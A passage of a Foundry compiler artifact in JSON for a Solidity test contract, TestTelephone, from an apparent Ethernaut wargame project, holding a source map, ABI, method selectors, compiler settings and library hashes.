6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19698:184::-;19768:6;19821:2;19809:9;19800:7;19796:23;19792:32;19789:52;;;19837:1;19834;19827:12;19789:52;-1:-1:-1;19860:16:155;;19698:184;-1:-1:-1;19698:184:155:o;19887:125::-;19952:9;;;19973:10;;;19970:36;;;19986:18;;:::i;20199:383::-;20396:2;20385:9;20378:21;20359:4;20422:45;20463:2;20452:9;20448:18;20440:6;20422:45;:::i;:::-;20515:9;20507:6;20503:22;20498:2;20487:9;20483:18;20476:50;20543:33;20569:6;20561;20543:33;:::i;:::-;20535:41;20199:383;-1:-1:-1;;;;;20199:383:155:o;20587:335::-;20666:6;20719:2;20707:9;20698:7;20694:23;20690:32;20687:52;;;20735:1;20732;20725:12;20687:52;20768:9;20762:16;20801:18;20793:6;20790:30;20787:50;;;20833:1;20830;20823:12;20787:50;20856:60;20908:7;20899:6;20888:9;20884:22;20856:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Telephone.t.sol\":\"TestTelephone\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4